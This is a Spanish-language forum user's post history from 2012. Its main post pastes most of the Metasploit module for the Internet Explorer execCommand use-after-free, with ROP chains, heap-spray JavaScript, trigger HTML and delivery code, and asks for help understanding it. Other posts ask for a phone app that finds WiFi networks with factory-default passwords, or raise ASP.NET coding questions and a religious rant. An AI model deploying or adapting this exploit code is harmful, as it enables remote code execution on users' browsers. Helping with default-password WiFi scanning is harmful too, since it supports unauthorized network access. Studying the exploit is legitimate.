|
Mostrar Temas
|
Páginas: 1 [2]
|
12
|
Programación / Programación C/C++ / Exlpoit Zero Day.
|
en: 19 Septiembre 2012, 13:39 pm
|
Hola a todos . Como ya sabran muchos hya un exploit por hay suelto que microsoft teme. Me puse a investigar un poco. Encontre el exploit y me puse a leerlo. Necesito ayuda para entender el codigo. http://dev.metasploit.com/redmine/projects/framework/repository/revisions/cc8102434af31669cdd54fe10e438181498983e5/entry/modules/exploits/windows/browser/ie_execcommand_uaf.rbAlgun programador que pueda resumirme rapidamente las partes para que sirven? Resumirme en 3 bloques O 4 MAS O MENOS PARA SABER LO QUE HACE. No entinedo a partir de aqui. def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
exec_size = code.length
stack_pivot = [
0x77c4e393, # RETN
0x77c4e392, # POP EAX # RETN
0x77c15ed5, # XCHG EAX, ESP # RETN
].pack("V*")
rop =
[
0x77C21891, # POP ESI # RETN
0x0c0c0c04, # ESI
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c, # XCHG EAX,ESI # ADD [EAX], AL # RETN
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
exec_size, # EBX
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")
when :jre
print_status("Using JRE ROP")
exec_size = 0xffffffff - code.length + 1
if t['Random']
stack_pivot = [
0x0c0c0c0c, # 0c0c0c08
0x7c347f98, # RETN
0x7c347f97, # POP EDX # RETN
0x7c348b05 # XCHG EAX, ESP # RET
].pack("V*")
else
stack_pivot = [
0x7c347f98, # RETN
0x7c347f97, # POP EDX # RETN
0x7c348b05 # XCHG EAX, ESP # RET
].pack("V*")
end
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
exec_size, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
code = stack_pivot + rop + code
return code
end
# Spray published by corelanc0d3r
# Exploit writing tutorial part 11 : Heap Spraying Demystified
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
def get_random_spray(t, js_code, js_nops)
spray = <<-JS
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{t['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
JS
return spray
end
def get_spray(t, js_code, js_nops)
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
JS
end
def load_html1(cli, my_target)
p = get_payload(my_target, cli)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
if my_target['Random']
js = get_random_spray(my_target, js_code, js_r_nops)
else
js = get_spray(my_target, js_code, js_nops)
end
js = heaplib(js, {:noobfu => true})
html = <<-EOS
<html>
<body>
<script>
var arrr = new Array();
arrr[0] = window.document.createElement("img");
arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";
</script>
<iframe src="#{this_resource}/#{@html2_name}"></iframe>
<script>
#{js}
</script>
</body>
</html>
EOS
return html
end
def load_html2
html = %Q|
<HTML>
<script>
function funcB() {
document.execCommand("selectAll");
};
function funcA() {
document.write("#{Rex::Text.rand_text_alpha(1)}");
parent.arrr[0].src = "YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}
</script>
<body onload='funcB();' onselect='funcA()'>
<div contenteditable='true'>
a
</div>
</body>
</HTML>
|
return html
end
def this_resource
r = get_resource
return ( r == '/') ? '' : r
end
def on_request_uri(cli, request)
print_status request.headers['User-Agent']
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported, sending a 404: #{agent.to_s}")
send_not_found(cli)
return
end
vprint_status("Requesting: #{request.uri}")
if request.uri =~ /#{@html2_name}/
print_status("Loading #{@html2_name}")
html = load_html2
elsif request.uri =~ /#{@html1_name}/
print_status("Loading #{@html1_name}")
html = load_html1(cli, my_target)
elsif request.uri =~ /\/$/ or request.uri =~ /#{this_resource}$/
print_status("Redirecting to #{@html1_name}")
send_redirect(cli, "#{this_resource}/#{@html1_name}")
return
else
send_not_found(cli)
return
end
html = html.gsub(/^\t\t/, '')
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"
@html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
super
end
end
Igual he pedido demasiado pero cualquier ayuda es bien recibida Saludos
|
|
|
13
|
Foros Generales / Foro Libre / La pelicula de * que dio la vuelta al mundo.
|
en: 19 Septiembre 2012, 10:31 am
|
Alguien me podria explicar porque una pelicula , que hace referencia a un dios ridiculizandolo,como puede probocar esta oleada de ataques mediaticos revindicando blasfemias contra su religion; cuando todos los dias veo peliculas que se mofan de Jesus y de cualquier cosa. Quien dice nada? Estoy en mi derecho de ridiculizar a un dios en una pelicula si asi me lo parece ; porque la ley de expresion me lo permite. Os acordais de la vida de Bryan? Bueno y que ? cuantos murieron por hacer esa pelicula?
Que demonios pasa para que le den tanta importancia los musulmanes, de que tienen miedo? Que va a cambiar? Mira que soy creyente pero me La SUDA que ridiculizen a dios.Si no te gusta no lo veas. Como el porno.Si t egusta lo ves si no no!
|
|
|
14
|
Comunicaciones / Redes / Programa que analiza las REDES WIFI CERCANAS y busca contrasenias de fabrica
|
en: 20 Agosto 2012, 13:20 pm
|
Hola buenas a todos!
Mi pregunta es muy sencilla , conoceis algun programa para moviles(Iphone) y (Htc) (Windows) para buscar Passwords por defecto(Fabrica).
Recuerdo haberlo visto en algun movil y queria investigar un poco.
No me vengias con lo de que aqui no se hace esto ni aquello. No quiero ni wifyslax ni nada No quiero analizar Paquetes durante horas para luego sacar la clave NO!! ;quiero lo dicho ,un programa que en cuestion de segundos te diga que WIFY tiene contrasenias de fabrica!
Veo a gente con esos progrmas y son gente con 0 conociminetos de informatica.
|
|
|
15
|
Programación / Desarrollo Web / Pregunta a desarolladores Web con experiencia.Links visitados.
|
en: 3 Julio 2012, 13:56 pm
|
Hola a todos. Estoy desarollando una aplicacion WEB, y quiero ver los enlaces ya visitados! Hasta aqui direis que facil solo hay que ponerle un css .Pero No! Tengo un listview con miles de enlaces que redireccionan a una misma pagina .ASPX ,pero segun el enlace que pinches el valor del enlace es mandado a lado servidor y el contenido de la pagina redireccionada cambia! Por lo que me gustaria saber cual seria el metodo mas practico para mostrarme enlaces del listview como visitados cuando sean visitados! Espero que alguien pueda ayudarme! Gracias de antemano.
|
|
|
16
|
Programación / Desarrollo Web / Asp.net (visited) linkbutton no cambia de color
|
en: 27 Junio 2012, 12:04 pm
|
Hola buenas, tengo un listview con linkbuttons que llaman a una funcion en lado servidor para sacar los links! Necesito que esos links cambien de color y con los css no consigo nada. <style type="text/css"> CAmbiaColores { font-size: 1em; text-align: right; padding: 10px; padding-right: 15px; color: #0066FF; } CAmbiaColores:link { color: black; } CAmbiaColores:visited { color: Green; } CAmbiaColores:hover { color:Orange; text-decoration:underline; } CAmbiaColores:active { color: Green; text-decoration:underline; } </style> <asp:LinkButton ID="lblLinks" runat="server" CommandName="Order" CommandArgument="nada" OnCommand="RellenaLinks" >nada</asp:LinkButton> Una vez se hace click sobre el linkbutton , postback, llama a la funcion y rellena . Como puedo cambiar de color en mi situacion! gracias de antemano!
|
|
|
17
|
Programación / Desarrollo Web / Duda! LLamar a una funcion desde Lado Cliente ,con un objeto de video ASP.NET
|
en: 14 Mayo 2012, 17:25 pm
|
Hola buenas a todos!! Estoy intnentado pasarle un valor de archivo de origen a un plug in de DIVX ! Necesito llamar a una funcion de lado cliente!Lo unico que he podido averiguar estos dias es de la sigueinte forma se llma a una funcion! 1: <%# DoSomething(Eval("value")) %> 2: 3 <%# Eval ("DoSomething") %> y nada ninguna de esas formas pasa por la funcion, Si alguin pudiera resolverme esta duda se lo agraceria muhco ya que llevo varios dias sin progresar sobre este tema!Gracias. codigo lado Cliente: <form id="form1" runat="server"> <div> <asp:ScriptManager ID="ScriptManager1" EnablePageMethods="true" runat="server"> </asp:ScriptManager> <br /> <br /> <object classid="clsid:67DdfdgFBF-DdffAB-41fa-9445-Cf8h1721616" codebase="" style="height: 752px; width: 795px">
<param name="custommode" value="none" />
<param name="src" value="<%= DoSomething =%>" />
<embed type="video/divx" src="<%= DoSomething =%>" custommode="none" width="512" height="382" pluginspage="/"> </embed> </object>
|
|
|
18
|
Programación / .NET (C#, VB.NET, ASP) / LLamar a una funcion desde lado cliente ASP.NET
|
en: 14 Mayo 2012, 15:57 pm
|
Hola buenas! Estoy implementando un plugin que reproduce arhivos (mkv - avi) a mi proyecto el plugin funciona correctamente ucando le doy una ruta estatica (ej:c:video.mkv ) al video deseado! Pero ahora lo que quiero es ponerle un valor proveniente de una funcion en lado servidor!pero no me acuerdo de como era! Codigo!(Client Side): <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> <asp:ScriptManager ID="ScriptManager1" EnablePageMethods="true" runat="server"> </asp:ScriptManager> <br /> <br /> <object classid="clsid:67DABFBF-D0AB-41fa-9C46-CC0F21721616" codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab" style="height: 752px; width: 795px">
<param name="custommode" value="none" />
<param name="src" value="[color=red]<%# DoSomething(Eval("value")) %>[/color]" />
<embed type="video/divx" src="[color=red]<%# DoSomething(Eval("value")) %>[/color]" custommode="none" width="512" height="382" pluginspage="http://go.divx.com/plugin/download/"> </embed> </object> La forma que utilizo para llamar a una funcion al lado servidor es <%# DoSomething(Eval("value")) %> Dosomething seria mi fucnion y value el parametro Porqlo que no se si lo estoy haciendolo mal o no! Si alguien pudiera resolerme esta duda se lo agradeceria mucho!
|
|
|
19
|
Programación / .NET (C#, VB.NET, ASP) / Moverse de forma automatizada a punto deseado-Duda
|
en: 10 Mayo 2012, 08:49 am
|
Hola buenos dias a todos. Estoy trabajando en un proyecto de Actualizacion de antivirus,pero ahora se me a ocurrido que me gustaria mover de forma automatizada a cualquier boton del escritorio o objeto de Windows.Hasta aqui todo bien. Ahora mi pregunta es: para moverme a un punto necesito primero saber la posicion, pero para saber la posicion necesito hacer 1:OCR? o 2:Hay alguna forma de saber donde se encuentran todos los controles y objetos de windows ?(quiero saber la posicion exacta de cada objeto, para luego desplazarme a la posicion y pinchar boton deseado o escribir en un objeto text etc..! Me planteo que opcion coger porque el OCR es un proceso largo.A ver si alguien me puede ayudar o si tiene alguno una idea mejor. Gracias de antemano a todo(s) los que me puedan ayudar !
|
|
|
20
|
Programación / .NET (C#, VB.NET, ASP) / Problemas al extraer Codigofuente de MEDIAFIRE
|
en: 26 Abril 2012, 13:26 pm
|
Hola muy buenas a todos ! A ver si alguien me puede ayudar con este tema que llevo 2 semanas y sigo sin entender el porque a mi problema ,La idea final es crear un actualizador de NOD32. El codigo fuente(WEB=MEDIAFIRE.com) extraido con MI PROGRAMA no esta al completo, sin enbargo cuando miro el CodigoFuente con mi ExploradorWEB= (FIREFOX-GOOGLECROME-IE)el codigo fuente(WEB=MEDIAFIRE.com) no es el mismo al mio extraido y no precisamente for el final si no por el medio. A ver si alguien tiene idea de porque puede ser que me estoy desesperando. Voy a dejar mi codigo fuente; Gracias de antemano Esta parte Busca el codigo fuente y lo almacena en TEXTBOX Dim url As String = String.Empty
url = txtWeb.Text
If url = String.Empty Then
MessageBox.Show("Enter url")
Else
Try
Dim pagesource As String = getHtml(url)
txtShow.Text = pagesource
Catch ex As Exception
MessageBox.Show("Error In retreiving code")
End Try
End If
Call FindWord() Esta parte Busca una palabra. Private Sub Findword()
Dim posicionStart As Long Dim URLExtractionTemp As String
Dim Numerico As Boolean Dim Position As Long Dim CountWordfound As Integer txtBusca.Text = "name="
Position = 0 posicionStart = 1 CountWordfound = 0 Try
Do While Numerico = False If posicionStart = 0 Then 'Position += 1 Else Position = posicionStart + 1 End If posicionStart = InStr(CInt(Position), txtShow.Text, txtBusca.Text) 'If posicionStart = 0 Then Exit Sub
URLExtractionTemp = Mid(txtShow.Text, posicionStart + 6, 6) CountWordfound += 1 If IsNumeric(URLExtractionTemp) Then Numerico = True Else 'posicionStart += 1 End If Loop
Catch ex As Exception
End Try End Sub
|
|
|
|
|
|
|